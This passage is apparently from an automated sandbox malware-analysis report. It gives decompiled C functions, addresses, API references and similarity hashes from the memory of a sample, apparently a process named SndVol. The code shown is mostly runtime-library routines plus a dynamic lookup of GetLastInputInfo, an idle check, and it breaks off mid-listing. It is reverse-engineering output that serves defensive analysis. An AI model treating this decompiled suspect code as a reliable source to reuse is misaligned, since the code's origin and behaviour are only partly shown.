                                    Function 004014AF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E004014AF() {
				_Unknown_base(*)()* _t2;

				_t2 = GetProcAddress(LoadLibraryA("User32.dll"), "GetLastInputInfo");
				 *0x47584c = _t2;
				return _t2;
			}




                                    0x004014c0
                                    0x004014c6
                                    0x004014cb

                                    APIs
                                    • LoadLibraryA.KERNEL32(User32.dll,GetLastInputInfo), ref: 004014B9
                                    • GetProcAddress.KERNEL32(00000000), ref: 004014C0
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: AddressLibraryLoadProc
                                    • String ID: GetLastInputInfo$User32.dll
                                    • API String ID: 2574300362-1519888992
                                    • Opcode ID: 6185ad33e38da01c5cedd7fab51ef37947c258832bc82ab0b36b916a7b459740
                                    • Instruction ID: ea73ef4d1088e939c140d9431744cb36a9dcab52d5ea7f3e4bb33043e5d41cbe
                                    • Opcode Fuzzy Hash: 6185ad33e38da01c5cedd7fab51ef37947c258832bc82ab0b36b916a7b459740
                                    • Instruction Fuzzy Hash: 5EB092B45C1700FBCB106FA4AC4E9293AA9A614703B1088ABB845D2162EBB884008F9F
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00449ED4 Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 75%
                                    			E00449ED4(void* __edx, signed int* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				intOrPtr _v48;
				char _v52;
				void* __ebx;
				void* __edi;
				void* _t86;
				signed int _t92;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				void* _t101;
				void* _t102;
				void* _t104;
				void* _t107;
				void* _t109;
				void* _t111;
				void* _t115;
				char* _t116;
				void* _t119;
				signed int _t121;
				signed int _t128;
				signed int* _t129;
				signed int _t136;
				signed int _t137;
				char _t138;
				signed int _t139;
				signed int _t142;
				signed int _t146;
				signed int _t151;
				char _t156;
				char _t157;
				void* _t161;
				unsigned int _t162;
				signed int _t164;
				signed int _t166;
				signed int _t170;
				void* _t171;
				signed int* _t172;
				signed int _t174;
				signed int _t181;
				signed int _t182;
				signed int _t183;
				signed int _t184;
				signed int _t185;
				signed int _t186;
				signed int _t187;

				_t171 = __edx;
				_t181 = _a24;
				if(_t181 < 0) {
					_t181 = 0;
				}
				_t184 = _a8;
				 *_t184 = 0;
				E0043A707(0,  &_v52, _t171, _a36);
				_t5 = _t181 + 0xb; // 0xb
				if(_a12 > _t5) {
					_t172 = _a4;
					_t142 = _t172[1];
					_v36 =  *_t172;
					__eflags = (_t142 >> 0x00000014 & 0x000007ff) - 0x7ff;
					if((_t142 >> 0x00000014 & 0x000007ff) != 0x7ff) {
						L11:
						__eflags = _t142 & 0x80000000;
						if((_t142 & 0x80000000) != 0) {
							 *_t184 = 0x2d;
							_t184 = _t184 + 1;
							__eflags = _t184;
						}
						__eflags = _a28;
						_v16 = 0x3ff;
						_t136 = ((0 | _a28 == 0x00000000) - 0x00000001 & 0xffffffe0) + 0x27;
						__eflags = _t172[1] & 0x7ff00000;
						_v32 = _t136;
						_t86 = 0x30;
						if((_t172[1] & 0x7ff00000) != 0) {
							 *_t184 = 0x31;
							_t185 = _t184 + 1;
							__eflags = _t185;
						} else {
							 *_t184 = _t86;
							_t185 = _t184 + 1;
							_t164 =  *_t172 | _t172[1] & 0x000fffff;
							__eflags = _t164;
							if(_t164 != 0) {
								_v16 = 0x3fe;
							} else {
								_v16 = _v16 & _t164;
							}
						}
						_t146 = _t185;
						_t186 = _t185 + 1;
						_v28 = _t146;
						__eflags = _t181;
						if(_t181 != 0) {
							_t30 = _v48 + 0x88; // 0xff1875ff
							 *_t146 =  *((intOrPtr*)( *((intOrPtr*)( *_t30))));
						} else {
							 *_t146 = 0;
						}
						_t92 = _t172[1] & 0x000fffff;
						__eflags = _t92;
						_v20 = _t92;
						if(_t92 > 0) {
							L23:
							_t33 =  &_v8;
							 *_t33 = _v8 & 0x00000000;
							__eflags =  *_t33;
							_t147 = 0xf0000;
							_t93 = 0x30;
							_v12 = _t93;
							_v20 = 0xf0000;
							do {
								__eflags = _t181;
								if(_t181 <= 0) {
									break;
								}
								_t119 = E004576B0( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
								_t161 = 0x30;
								_t121 = _t119 + _t161 & 0x0000ffff;
								__eflags = _t121 - 0x39;
								if(_t121 > 0x39) {
									_t121 = _t121 + _t136;
									__eflags = _t121;
								}
								_t162 = _v20;
								_t172 = _a4;
								 *_t186 = _t121;
								_t186 = _t186 + 1;
								_v8 = (_t162 << 0x00000020 | _v8) >> 4;
								_t147 = _t162 >> 4;
								_t93 = _v12 - 4;
								_t181 = _t181 - 1;
								_v20 = _t162 >> 4;
								_v12 = _t93;
								__eflags = _t93;
							} while (_t93 >= 0);
							__eflags = _t93;
							if(_t93 < 0) {
								goto L39;
							}
							_t115 = E004576B0( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
							__eflags = _t115 - 8;
							if(_t115 <= 8) {
								goto L39;
							}
							_t54 = _t186 - 1; // 0xff8bc35f
							_t116 = _t54;
							_t138 = 0x30;
							while(1) {
								_t156 =  *_t116;
								__eflags = _t156 - 0x66;
								if(_t156 == 0x66) {
									goto L33;
								}
								__eflags = _t156 - 0x46;
								if(_t156 != 0x46) {
									_t139 = _v32;
									__eflags = _t116 - _v28;
									if(_t116 == _v28) {
										_t57 = _t116 - 1;
										 *_t57 =  *(_t116 - 1) + 1;
										__eflags =  *_t57;
									} else {
										_t157 =  *_t116;
										__eflags = _t157 - 0x39;
										if(_t157 != 0x39) {
											 *_t116 = _t157 + 1;
										} else {
											 *_t116 = _t139 + 0x3a;
										}
									}
									goto L39;
								}
								L33:
								 *_t116 = _t138;
								_t116 = _t116 - 1;
							}
						} else {
							__eflags =  *_t172;
							if( *_t172 <= 0) {
								L39:
								__eflags = _t181;
								if(_t181 > 0) {
									_push(_t181);
									_t111 = 0x30;
									_push(_t111);
									_push(_t186);
									E00436DE0(_t181);
									_t186 = _t186 + _t181;
									__eflags = _t186;
								}
								_t94 = _v28;
								__eflags =  *_t94;
								if( *_t94 == 0) {
									_t186 = _t94;
								}
								__eflags = _a28;
								 *_t186 = ((_t94 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								_t174 = _a4[1];
								_t100 = E004576B0( *_a4, 0x34, _t174);
								_t137 = 0;
								_t151 = (_t100 & 0x000007ff) - _v16;
								__eflags = _t151;
								asm("sbb ebx, ebx");
								if(__eflags < 0) {
									L47:
									 *(_t186 + 1) = 0x2d;
									_t187 = _t186 + 2;
									__eflags = _t187;
									_t151 =  ~_t151;
									asm("adc ebx, 0x0");
									_t137 =  ~_t137;
									goto L48;
								} else {
									if(__eflags > 0) {
										L46:
										 *(_t186 + 1) = 0x2b;
										_t187 = _t186 + 2;
										L48:
										_t182 = _t187;
										_t101 = 0x30;
										 *_t187 = _t101;
										__eflags = _t137;
										if(__eflags < 0) {
											L56:
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L60:
												_push(0);
												_push(0xa);
												_push(_t137);
												_push(_t151);
												_t102 = E004573B0();
												_v32 = _t174;
												 *_t187 = _t102 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												L61:
												_t104 = 0x30;
												_t183 = 0;
												__eflags = 0;
												 *_t187 = _t151 + _t104;
												 *(_t187 + 1) = 0;
												goto L62;
											}
											__eflags = _t137;
											if(__eflags < 0) {
												goto L61;
											}
											if(__eflags > 0) {
												goto L60;
											}
											__eflags = _t151 - 0xa;
											if(_t151 < 0xa) {
												goto L61;
											}
											goto L60;
										}
										if(__eflags > 0) {
											L51:
											_push(0);
											_push(0x3e8);
											_push(_t137);
											_push(_t151);
											_t107 = E004573B0();
											_v32 = _t174;
											 *_t187 = _t107 + 0x30;
											_t187 = _t187 + 1;
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L55:
												_push(0);
												_push(0x64);
												_push(_t137);
												_push(_t151);
												_t109 = E004573B0();
												_v32 = _t174;
												 *_t187 = _t109 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												goto L56;
											}
											L52:
											__eflags = _t137;
											if(__eflags < 0) {
												goto L56;
											}
											if(__eflags > 0) {
												goto L55;
											}
											__eflags = _t151 - 0x64;
											if(_t151 < 0x64) {
												goto L56;
											}
											goto L55;
										}
										__eflags = _t151 - 0x3e8;
										if(_t151 < 0x3e8) {
											goto L52;
										}
										goto L51;
									}
									__eflags = _t151;
									if(_t151 < 0) {
										goto L47;
									}
									goto L46;
								}
							}
							goto L23;
						}
					}
					__eflags = 0;
					if(0 != 0) {
						goto L11;
					} else {
						_t183 = E0044A1D7(0, _t142, 0, _t172, _t184, _a12, _a16, _a20, _t181, 0, _a32, 0);
						__eflags = _t183;
						if(_t183 == 0) {
							_t128 = E00457790(_t184, 0x65);
							_pop(_t166);
							__eflags = _t128;
							if(_t128 != 0) {
								__eflags = _a28;
								_t170 = ((_t166 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								__eflags = _t170;
								 *_t128 = _t170;
								 *((char*)(_t128 + 3)) = 0;
							}
							_t183 = 0;
						} else {
							 *_t184 = 0;
						}
						goto L62;
					}
				} else {
					_t129 = E0044052D();
					_t183 = 0x22;
					 *_t129 = _t183;
					E0043BC3C();
					L62:
					if(_v40 != 0) {
						 *(_v52 + 0x350) =  *(_v52 + 0x350) & 0xfffffffd;
					}
					return _t183;
				}
			}
























































                                    0x00449ed4
                                    0x00449edf
                                    0x00449ee6
                                    0x00449ee8
                                    0x00449ee8
                                    0x00449eea
                                    0x00449ef3
                                    0x00449ef5
                                    0x00449efa
                                    0x00449f00
                                    0x00449f16
                                    0x00449f1b
                                    0x00449f1e
                                    0x00449f2b
                                    0x00449f30
                                    0x00449f84
                                    0x00449f8c
                                    0x00449f8e
                                    0x00449f90
                                    0x00449f93
                                    0x00449f93
                                    0x00449f93
                                    0x00449f99
                                    0x00449fa1
                                    0x00449fb4
                                    0x00449fb7
                                    0x00449fb9
                                    0x00449fbc
                                    0x00449fbd
                                    0x00449fde
                                    0x00449fe1
                                    0x00449fe1
                                    0x00449fbf
                                    0x00449fbf
                                    0x00449fc1
                                    0x00449fcc
                                    0x00449fcc
                                    0x00449fce
                                    0x00449fd5
                                    0x00449fd0
                                    0x00449fd0
                                    0x00449fd0
                                    0x00449fce
                                    0x00449fe2
                                    0x00449fe4
                                    0x00449fe5
                                    0x00449fe8
                                    0x00449fea
                                    0x00449ff4
                                    0x00449ffe
                                    0x00449fec
                                    0x00449fec
                                    0x00449fec
                                    0x0044a003
                                    0x0044a003
                                    0x0044a008
                                    0x0044a00b
                                    0x0044a016
                                    0x0044a016
                                    0x0044a016
                                    0x0044a016
                                    0x0044a01a
                                    0x0044a021
                                    0x0044a022
                                    0x0044a025
                                    0x0044a028
                                    0x0044a028
                                    0x0044a02a
                                    0x00000000
                                    0x00000000
                                    0x0044a042
                                    0x0044a049
                                    0x0044a04d
                                    0x0044a050
                                    0x0044a053
                                    0x0044a055
                                    0x0044a055
                                    0x0044a055
                                    0x0044a057
                                    0x0044a05a
                                    0x0044a05d
                                    0x0044a05f
                                    0x0044a067
                                    0x0044a06d
                                    0x0044a070
                                    0x0044a073
                                    0x0044a074
                                    0x0044a077
                                    0x0044a07a
                                    0x0044a07a
                                    0x0044a07f
                                    0x0044a082
                                    0x00000000
                                    0x00000000
                                    0x0044a09a
                                    0x0044a09f
                                    0x0044a0a3
                                    0x00000000
                                    0x00000000
                                    0x0044a0a7
                                    0x0044a0a7
                                    0x0044a0aa
                                    0x0044a0ab
                                    0x0044a0ab
                                    0x0044a0ad
                                    0x0044a0b0
                                    0x00000000
                                    0x00000000
                                    0x0044a0b2
                                    0x0044a0b5
                                    0x0044a0bc
                                    0x0044a0bf
                                    0x0044a0c2
                                    0x0044a0d8
                                    0x0044a0d8
                                    0x0044a0d8
                                    0x0044a0c4
                                    0x0044a0c4
                                    0x0044a0c6
                                    0x0044a0c9
                                    0x0044a0d4
                                    0x0044a0cb
                                    0x0044a0ce
                                    0x0044a0ce
                                    0x0044a0c9
                                    0x00000000
                                    0x0044a0c2
                                    0x0044a0b7
                                    0x0044a0b7
                                    0x0044a0b9
                                    0x0044a0b9
                                    0x0044a00d
                                    0x0044a00d
                                    0x0044a010
                                    0x0044a0db
                                    0x0044a0db
                                    0x0044a0dd
                                    0x0044a0df
                                    0x0044a0e2
                                    0x0044a0e3
                                    0x0044a0e4
                                    0x0044a0e5
                                    0x0044a0ed
                                    0x0044a0ed
                                    0x0044a0ed
                                    0x0044a0ef
                                    0x0044a0f2
                                    0x0044a0f5
                                    0x0044a0f7
                                    0x0044a0f7
                                    0x0044a0f9
                                    0x0044a10b
                                    0x0044a10f
                                    0x0044a112
                                    0x0044a119
                                    0x0044a121
                                    0x0044a121
                                    0x0044a124
                                    0x0044a126
                                    0x0044a137
                                    0x0044a137
                                    0x0044a13b
                                    0x0044a13b
                                    0x0044a13e
                                    0x0044a140
                                    0x0044a143
                                    0x00000000
                                    0x0044a128
                                    0x0044a128
                                    0x0044a12e
                                    0x0044a12e
                                    0x0044a132
                                    0x0044a145
                                    0x0044a145
                                    0x0044a149
                                    0x0044a14a
                                    0x0044a14c
                                    0x0044a14e
                                    0x0044a18f
                                    0x0044a18f
                                    0x0044a191
                                    0x0044a19e
                                    0x0044a19e
                                    0x0044a1a0
                                    0x0044a1a2
                                    0x0044a1a3
                                    0x0044a1a4
                                    0x0044a1ab
                                    0x0044a1ae
                                    0x0044a1b0
                                    0x0044a1b0
                                    0x0044a1b1
                                    0x0044a1b3
                                    0x0044a1b6
                                    0x0044a1b6
                                    0x0044a1b8
                                    0x0044a1ba
                                    0x00000000
                                    0x0044a1ba
                                    0x0044a193
                                    0x0044a195
                                    0x00000000
                                    0x00000000
                                    0x0044a197
                                    0x00000000
                                    0x00000000
                                    0x0044a199
                                    0x0044a19c
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044a19c
                                    0x0044a155
                                    0x0044a15b
                                    0x0044a15b
                                    0x0044a15d
                                    0x0044a15e
                                    0x0044a15f
                                    0x0044a160
                                    0x0044a167
                                    0x0044a16a
                                    0x0044a16c
                                    0x0044a16d
                                    0x0044a16f
                                    0x0044a17c
                                    0x0044a17c
                                    0x0044a17e
                                    0x0044a180
                                    0x0044a181
                                    0x0044a182
                                    0x0044a189
                                    0x0044a18c
                                    0x0044a18e
                                    0x0044a18e
                                    0x00000000
                                    0x0044a18e
                                    0x0044a171
                                    0x0044a171
                                    0x0044a173
                                    0x00000000
                                    0x00000000
                                    0x0044a175
                                    0x00000000
                                    0x00000000
                                    0x0044a177
                                    0x0044a17a
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044a17a
                                    0x0044a157
                                    0x0044a159
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044a159
                                    0x0044a12a
                                    0x0044a12c
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044a12c
                                    0x0044a126
                                    0x00000000
                                    0x0044a010
                                    0x0044a00b
                                    0x00449f32
                                    0x00449f34
                                    0x00000000
                                    0x00449f36
                                    0x00449f4c
                                    0x00449f51
                                    0x00449f53
                                    0x00449f5f
                                    0x00449f65
                                    0x00449f66
                                    0x00449f68
                                    0x00449f6a
                                    0x00449f75
                                    0x00449f75
                                    0x00449f78
                                    0x00449f7a
                                    0x00449f7a
                                    0x00449f7d
                                    0x00449f55
                                    0x00449f55
                                    0x00449f55
                                    0x00000000
                                    0x00449f53
                                    0x00449f02
                                    0x00449f02
                                    0x00449f09
                                    0x00449f0a
                                    0x00449f0c
                                    0x0044a1be
                                    0x0044a1c2
                                    0x0044a1c7
                                    0x0044a1c7
                                    0x0044a1d6
                                    0x0044a1d6

                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: __alldvrm$_strrchr
                                    • String ID:
                                    • API String ID: 1036877536-0
                                    • Opcode ID: fbb6a2cd6f9bf6d969b44a73e529f1d3b5c9d8165b987cb2c487aba83d58bdfa
                                    • Instruction ID: fea1299711a4a6c6d53b67acda13f9e5a13625b1db6a1fa43172635315a5a946
                                    • Opcode Fuzzy Hash: fbb6a2cd6f9bf6d969b44a73e529f1d3b5c9d8165b987cb2c487aba83d58bdfa
                                    • Instruction Fuzzy Hash: 87A13572A443869FFB21CE18C8817AFBBA0EF15314F18416FE8859B382D23C8D55C75A
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00456B6A Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 94%
                                    			E00456B6A(signed int __edx, intOrPtr _a4, intOrPtr _a8, int _a12) {
				int _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				signed int _t17;
				int _t20;
				signed int _t21;
				int _t23;
				signed int _t25;
				int _t28;
				intOrPtr* _t30;
				int _t34;
				int _t35;
				void* _t36;
				intOrPtr* _t37;
				intOrPtr* _t38;
				int _t46;
				void* _t54;
				void* _t56;
				signed int _t58;
				int _t61;
				int _t63;
				void* _t64;
				void* _t65;
				void* _t66;

				_t58 = __edx;
				_t59 = _a4;
				_t61 = 0;
				_t16 = E0044C1BC(_a4, 0, 0, 1);
				_v20 = _t16;
				_v16 = __edx;
				_t65 = _t64 + 0x10;
				if((_t16 & __edx) != 0xffffffff) {
					_t17 = E0044C1BC(_t59, 0, 0, 2);
					_t66 = _t65 + 0x10;
					_t51 = _t17 & __edx;
					__eflags = (_t17 & __edx) - 0xffffffff;
					if((_t17 & __edx) == 0xffffffff) {
						goto L1;
					}
					_t46 = _a8 - _t17;
					__eflags = _t46;
					_t20 = _a12;
					asm("sbb eax, edx");
					_v8 = _t20;
					if(__eflags < 0) {
						L24:
						__eflags = _t20 - _t61;
						if(__eflags > 0) {
							L19:
							_t21 = E0044C1BC(_t59, _v20, _v16, _t61);
							__eflags = (_t21 & _t58) - 0xffffffff;
							if((_t21 & _t58) != 0xffffffff) {
								_t23 = 0;
								__eflags = 0;
								L31:
								return _t23;
							}
							L20:
							_t23 =  *((intOrPtr*)(E0044052D()));
							goto L31;
						}
						if(__eflags < 0) {
							L27:
							_t25 = E0044C1BC(_t59, _a8, _a12, _t61);
							_t66 = _t66 + 0x10;
							__eflags = (_t25 & _t58) - 0xffffffff;
							if((_t25 & _t58) == 0xffffffff) {
								goto L20;
							}
							_t28 = SetEndOfFile(E004503E9(_t59));
							__eflags = _t28;
							if(_t28 != 0) {
								goto L19;
							}
							 *((intOrPtr*)(E0044052D())) = 0xd;
							_t30 = E0044051A();
							 *_t30 = GetLastError();
							goto L20;
						}
						__eflags = _t46 - _t61;
						if(_t46 >= _t61) {
							goto L19;
						}
						goto L27;
					}
					if(__eflags > 0) {
						L6:
						_t63 = E00445A43(_t51, 0x1000, 1);
						_pop(_t54);
						__eflags = _t63;
						if(_t63 != 0) {
							_v12 = E0044424F(_t54, _t59, 0x8000);
							_t34 = _v8;
							_pop(_t56);
							do {
								__eflags = _t34;
								if(__eflags < 0) {
									L13:
									_t35 = _t46;
									L14:
									_t36 = E0044B907(_t46, _t59, _t63, _t59, _t63, _t35);
									_t66 = _t66 + 0xc;
									__eflags = _t36 - 0xffffffff;
									if(_t36 == 0xffffffff) {
										_t37 = E0044051A();
										__eflags =  *_t37 - 5;
										if( *_t37 == 5) {
											 *((intOrPtr*)(E0044052D())) = 0xd;
										}
										L23:
										_t38 = E0044052D();
										E00446652(_t63);
										_t23 =  *_t38;
										goto L31;
									}
									asm("cdq");
									_t46 = _t46 - _t36;
									_t34 = _v8;
									asm("sbb eax, edx");
									_v8 = _t34;
									__eflags = _t34;
									if(__eflags > 0) {
										L12:
										_t35 = 0x1000;
										goto L14;
									}
									if(__eflags < 0) {
										break;
									}
									goto L17;
								}
								if(__eflags > 0) {
									goto L12;
								}
								__eflags = _t46 - 0x1000;
								if(_t46 < 0x1000) {
									goto L13;
								}
								goto L12;
								L17:
								__eflags = _t46;
							} while (_t46 != 0);
							E0044424F(_t56, _t59, _v12);
							E00446652(_t63);
							_t66 = _t66 + 0xc;
							_t61 = 0;
							__eflags = 0;
							goto L19;
						}
						 *((intOrPtr*)(E0044052D())) = 0xc;
						goto L23;
					}
					__eflags = _t46;
					if(_t46 <= 0) {
						goto L24;
					}
					goto L6;
				}
				L1:
				return  *((intOrPtr*)(E0044052D()));
			}
































                                    0x00456b6a
                                    0x00456b74
                                    0x00456b77
                                    0x00456b7e
                                    0x00456b85
                                    0x00456b8a
                                    0x00456b8d
                                    0x00456b93
                                    0x00456ba6
                                    0x00456bad
                                    0x00456bb0
                                    0x00456bb2
                                    0x00456bb5
                                    0x00000000
                                    0x00000000
                                    0x00456bbb
                                    0x00456bbb
                                    0x00456bbd
                                    0x00456bc0
                                    0x00456bc2
                                    0x00456bc5
                                    0x00456ca3
                                    0x00456ca3
                                    0x00456ca5
                                    0x00456c5c
                                    0x00456c64
                                    0x00456c6e
                                    0x00456c71
                                    0x00456cf2
                                    0x00456cf2
                                    0x00456cf4
                                    0x00000000
                                    0x00456cf4
                                    0x00456c73
                                    0x00456c78
                                    0x00000000
                                    0x00456c78
                                    0x00456ca7
                                    0x00456cad
                                    0x00456cb5
                                    0x00456cbc
                                    0x00456cbf
                                    0x00456cc2
                                    0x00000000
                                    0x00000000
                                    0x00456ccc
                                    0x00456cd2
                                    0x00456cd4
                                    0x00000000
                                    0x00000000
                                    0x00456cdb
                                    0x00456ce1
                                    0x00456cee
                                    0x00000000
                                    0x00456cee
                                    0x00456ca9
                                    0x00456cab
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00456cab
                                    0x00456bcb
                                    0x00456bd5
                                    0x00456be1
                                    0x00456be4
                                    0x00456be5
                                    0x00456be7
                                    0x00456c05
                                    0x00456c08
                                    0x00456c0b
                                    0x00456c0c
                                    0x00456c0c
                                    0x00456c0e
                                    0x00456c21
                                    0x00456c21
                                    0x00456c23
                                    0x00456c26
                                    0x00456c2b
                                    0x00456c2e
                                    0x00456c31
                                    0x00456c7c
                                    0x00456c81
                                    0x00456c84
                                    0x00456c8b
                                    0x00456c8b
                                    0x00456c91
                                    0x00456c91
                                    0x00456c99
                                    0x00456c9f
                                    0x00000000
                                    0x00456c9f
                                    0x00456c33
                                    0x00456c34
                                    0x00456c36
                                    0x00456c39
                                    0x00456c3b
                                    0x00456c3e
                                    0x00456c40
                                    0x00456c1a
                                    0x00456c1a
                                    0x00000000
                                    0x00456c1a
                                    0x00456c42
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00456c42
                                    0x00456c10
                                    0x00000000
                                    0x00000000
                                    0x00456c12
                                    0x00456c18
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00456c44
                                    0x00456c44
                                    0x00456c44
                                    0x00456c4c
                                    0x00456c52
                                    0x00456c57
                                    0x00456c5a
                                    0x00456c5a
                                    0x00000000
                                    0x00456c5a
                                    0x00456bee
                                    0x00000000
                                    0x00456bee
                                    0x00456bcd
                                    0x00456bcf
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00456bcf
                                    0x00456b95
                                    0x00000000

                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: _free
                                    • String ID:
                                    • API String ID: 269201875-0
                                    • Opcode ID: 33da098cc60deeed093464b680477ce6b92a1a60bdc287e57d9570303dc7c70e
                                    • Instruction ID: 8309401af939ff01183ad2a6a4967f3970cfa3dab8a3a95693434a84ec3b07c5
                                    • Opcode Fuzzy Hash: 33da098cc60deeed093464b680477ce6b92a1a60bdc287e57d9570303dc7c70e
                                    • Instruction Fuzzy Hash: 0C413D316001006BEB226F798C4666F7A64DF05335F56021FFD68C7293DA7C88454A6E
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00442751 Relevance: 6.1, APIs: 4, Instructions: 133COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 95%
                                    			E00442751(void* _a4, intOrPtr* _a8) {
				char _v5;
				intOrPtr _v12;
				char _v16;
				signed int _t44;
				char _t47;
				intOrPtr _t50;
				signed int _t52;
				signed int _t56;
				signed int _t57;
				void* _t59;
				signed int _t63;
				signed int _t65;
				char _t67;
				intOrPtr* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t75;
				void* _t76;
				void* _t77;
				signed int _t80;
				intOrPtr _t82;
				void* _t86;
				signed int _t87;
				void* _t89;
				signed int _t91;
				intOrPtr* _t98;
				void* _t101;
				intOrPtr _t102;
				intOrPtr _t103;

				_t101 = _a4;
				if(_t101 != 0) {
					_t80 = 9;
					memset(_t101, _t44 | 0xffffffff, _t80 << 2);
					_t98 = _a8;
					__eflags = _t98;
					if(_t98 != 0) {
						_t82 =  *((intOrPtr*)(_t98 + 4));
						_t47 =  *_t98;
						_v16 = _t47;
						_v12 = _t82;
						__eflags = _t82 - 0xffffffff;
						if(__eflags > 0) {
							L7:
							_t89 = 7;
							__eflags = _t82 - _t89;
							if(__eflags < 0) {
								L12:
								_v5 = 0;
								_t50 = E0044289E(_t82, __eflags,  &_v16,  &_v5);
								_t75 = _v16;
								 *((intOrPtr*)(_t101 + 0x14)) = _t50;
								_t52 = E00457490(_t75, _v12, 0x15180, 0);
								 *(_t101 + 0x1c) = _t52;
								_t86 = 0x45f2d0;
								_t76 = _t75 - _t52 * 0x15180;
								asm("sbb eax, edx");
								__eflags = _v5;
								if(_v5 == 0) {
									_t86 = 0x45f29c;
								}
								_t91 =  *(_t101 + 0x1c);
								_t56 = 1;
								__eflags =  *((intOrPtr*)(_t86 + 4)) - _t91;
								if( *((intOrPtr*)(_t86 + 4)) >= _t91) {
									L16:
									_t57 = _t56 - 1;
									 *(_t101 + 0x10) = _t57;
									 *((intOrPtr*)(_t101 + 0xc)) = _t91 -  *((intOrPtr*)(_t86 + _t57 * 4));
									_t59 = E00457490( *_t98,  *((intOrPtr*)(_t98 + 4)), 0x15180, 0);
									_t87 = 7;
									asm("cdq");
									 *(_t101 + 0x18) = (_t59 + 4) % _t87;
									_t63 = E00457490(_t76, _v12, 0xe10, 0);
									 *(_t101 + 8) = _t63;
									_t77 = _t76 - _t63 * 0xe10;
									asm("sbb edi, edx");
									_t65 = E00457490(_t77, _v12, 0x3c, 0);
									 *(_t101 + 0x20) =  *(_t101 + 0x20) & 0x00000000;
									 *(_t101 + 4) = _t65;
									_t67 = 0;
									__eflags = 0;
									 *_t101 = _t77 - _t65 * 0x3c;
									L17:
									return _t67;
								} else {
									do {
										_t56 = _t56 + 1;
										__eflags =  *((intOrPtr*)(_t86 + _t56 * 4)) - _t91;
									} while ( *((intOrPtr*)(_t86 + _t56 * 4)) < _t91);
									goto L16;
								}
							}
							if(__eflags > 0) {
								L10:
								_t68 = E0044052D();
								_t102 = 0x16;
								 *_t68 = _t102;
								L11:
								_t67 = _t102;
								goto L17;
							}
							__eflags = _t47 - 0x934126cf;
							if(__eflags <= 0) {
								goto L12;
							}
							goto L10;
						}
						if(__eflags < 0) {
							goto L10;
						}
						__eflags = _t47 - 0xffff5740;
						if(_t47 < 0xffff5740) {
							goto L10;
						}
						goto L7;
					}
					_t69 = E0044052D();
					_t102 = 0x16;
					 *_t69 = _t102;
					E0043BC3C();
					goto L11;
				}
				_t71 = E0044052D();
				_t103 = 0x16;
				 *_t71 = _t103;
				E0043BC3C();
				return _t103;
			}
































                                    0x0044275a
                                    0x0044275f
                                    0x0044277f
                                    0x00442780
                                    0x00442782
                                    0x00442785
                                    0x00442787
                                    0x0044279a
                                    0x0044279d
                                    0x0044279f
                                    0x004427a2
                                    0x004427a5
                                    0x004427a8
                                    0x004427b3
                                    0x004427b5
                                    0x004427b6
                                    0x004427b8
                                    0x004427d4
                                    0x004427d8
                                    0x004427e1
                                    0x004427e6
                                    0x004427ed
                                    0x004427fa
                                    0x004427ff
                                    0x00442809
                                    0x0044280e
                                    0x00442813
                                    0x00442815
                                    0x0044281c
                                    0x0044281e
                                    0x0044281e
                                    0x00442823
                                    0x00442828
                                    0x00442829
                                    0x0044282c
                                    0x00442834
                                    0x00442834
                                    0x00442835
                                    0x00442843
                                    0x0044284b
                                    0x00442858
                                    0x00442859
                                    0x00442863
                                    0x00442869
                                    0x00442873
                                    0x0044287a
                                    0x0044287e
                                    0x00442882
                                    0x00442887
                                    0x0044288b
                                    0x00442893
                                    0x00442893
                                    0x00442895
                                    0x00442898
                                    0x00000000
                                    0x0044282e
                                    0x0044282e
                                    0x0044282e
